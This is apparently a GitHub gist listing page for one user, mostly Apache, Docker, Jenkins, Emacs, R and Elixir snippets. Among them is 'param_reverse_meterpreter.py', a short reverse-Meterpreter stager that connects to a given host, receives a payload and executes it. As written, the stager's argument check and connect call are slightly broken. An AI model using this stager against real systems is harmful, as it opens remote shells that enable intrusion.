Skip to content

Instantly share code, notes, and snippets.

View wesleyit's full-sized avatar

Wesley Rodrigues wesleyit

View GitHub Profile
@wesleyit
wesleyit / docker_virtualhosts.conf
Created June 12, 2015 17:08
This is a sample file for an Apache HTTP server running on the same machine together a Docker Server and a few web applications.
NameVirtualHost *:80
<VirtualHost *:80>
ServerName jenkins.gif-concretemobile.net
ProxyRequests Off
ProxyPass / http://127.0.0.1:8080/
ProxyPassReverse / http://127.0.0.1:8080/
<Location />
Order allow,deny
Allow from all
@wesleyit
wesleyit / start_taiga.sh
Created June 23, 2015 18:24
This script will setup the Taiga.io tool. It is an amazing management tool for agile projects.
#!/bin/bash
USERDATA="/var/lib/docker/datastorage"
mkdir -p "$USERDATA"
docker run --name data -d \
-v $USERDATA/postgresql:/var/lib/postgresql/data \
-v $USERDATA/media:/usr/local/taiga/media \
-v $USERDATA/static:/usr/local/taiga/static \
-v $USERDATA/logs:/usr/local/taiga/logs \
@wesleyit
wesleyit / init.el
Created December 7, 2015 17:16
This is my emacs24 config file
;;; init.el --- Wesley's Emacs Config
;;
;; An Ex-VIMmer trying Emacs :-)
;;
;;; ---------------------------------
;; Here some packages I need
(setq package-list '(ssh-file-modes ssh-config-mode sass-mode salt-mode ruby-test-mode ruby-refactor ruby-end ruby-block rpm-spec-mode rainbow-identifiers rainbow-delimiters password-generator ox-twbs ox-ioslide ox-impress-js ox-gfm osx-plist org2jekyll org2blog org-webpage org-presie org-present org-magit org-bullets org-blog nasm-mode mvn-help mvn matlab-mode math-symbols markdown-mode magit-find-file lorem-ipsum kanban js3-mode js2-refactor js2-mode js2-highlight-vars jquery-doc jq-mode jekyll-modes haml-mode flycheck-css-colorguard flycheck feature-mode eruby-mode erlang ecukes dired-rainbow dired-details crontab-mode apache-mode))
@wesleyit
wesleyit / start_jenkins_slave.sh
Created July 28, 2016 20:21
This script will keep a jenkins slave always running.
#!/bin/bash
## Set here the Jenkins URL to enable this slave
# and its secret
export JENKINS_URL=''
export SECRET=''
export JENKINS_IP=''
function test_master_conn() {
ping -c 4 "$JENKINS_IP" &> /dev/null
@wesleyit
wesleyit / Dockerfile_node_unprivileged
Created July 29, 2016 14:23
This is a node js container wich runs code using an unprivileged session
## Defina a versao desejada do Node.
# Testado apenas com as imagens oficiais!
FROM node:6.2.0
MAINTAINER Wesley R. Silva <[email protected]>
## Adiciona um usuario para executar o node
RUN useradd -m node --user-group -G 100 -s /bin/bash -d /home/node
USER node
## Cria um diretorio local onde os pacotes serao instalados
@wesleyit
wesleyit / param_reverse_meterpreter.py
Created November 11, 2016 10:33
Parametrized Python Reverse Meterpreter
#!/usr/bin/env python
import socket, struct, sys
if len(sys.argv) != 2: sys.exit(1)
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(sys.argv[1], int(sys.argv[2]))
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l-len(d))
exec(d, {'s':s})
@wesleyit
wesleyit / ensure_pkg.r
Created April 1, 2017 16:58
This snippet will load the libraries in a smarter way. If the library is already installed, then it is loaded. Otherwise, it is installed and then loaded.
ensure_pkg <- function(pkg) {
pkg = toString(substitute(pkg))
if (!require(pkg, character.only = TRUE)){
install.packages(pkg)
require(pkg)
}
}
ensure_pkg("car")
ensure_pkg("lattice")
@wesleyit
wesleyit / IPCluster.exs
Created October 18, 2017 01:44
Get all IPs addresses using Elixir
defmodule IPCluster do
def get_inet(), do: elem(:inet.getif(), 1)
def get_ip_list([]), do: []
def get_ip_list([h|t]) do
{ip, _bcast, mask} = h
[[Tuple.to_list(ip), Tuple.to_list(mask)] | get_ip_list(t)]
end
def ip_list([]), do: []
def ip_list([h|t]) do
[Enum.at(h,0) | ip_list(t)]
@wesleyit
wesleyit / precos_de_imoveis.csv
Created November 1, 2017 17:24
Pricing for houses in San Francisco
We can make this file beautiful and searchable if this error is corrected: It looks like row 10 should actually have 8 columns, instead of 2 in line 9.
valor,crimes_per_capita,comodos,distancia_centro_comercial,acessos_a_estradas,iptu,media_alunos_por_professor,percentual_de_pobres
24000,0.006000000052154,6.57000017166138,4.09000015258789,1,29.6000003814697,15.3000001907349,4.98000001907349
21599,0.027000000700355,6.42000007629395,4.96999979019165,2,24.2000007629395,17.7999992370605,9.14000034332275
34700,0.027000000700355,7.17999982833862,4.96999979019165,2,24.2000007629395,17.7999992370605,4.03000020980835
33400,0.032000001519918,7,6.05999994277954,3,22.2000007629395,18.7000007629395,2.94000005722046
36199,0.068999998271465,7.15000009536743,6.05999994277954,3,22.2000007629395,18.7000007629395,5.32999992370605
28701,0.029999999329448,6.42999982833862,6.05999994277954,3,22.2000007629395,18.7000007629395,5.21000003814697
22900,0.087999999523163,6.01000022888184,5.55999994277954,5,31.1000003814697,15.1999998092651,12.4300003051758
27100,0.144999995827675,6.17000007629395,5.94999980926514,5,31.1000003814697,15.1999998092651,19.1499996185303
16500,0.210999995470
@wesleyit
wesleyit / install_iR_to_jupyter.sh
Created November 6, 2017 21:55
Install iR Kernel to Jupyter
cat | R --no-save <<EOF
install.packages('devtools', repos='http://cran.us.r-project.org')
devtools::install_github('IRkernel/IRkernel')
EOF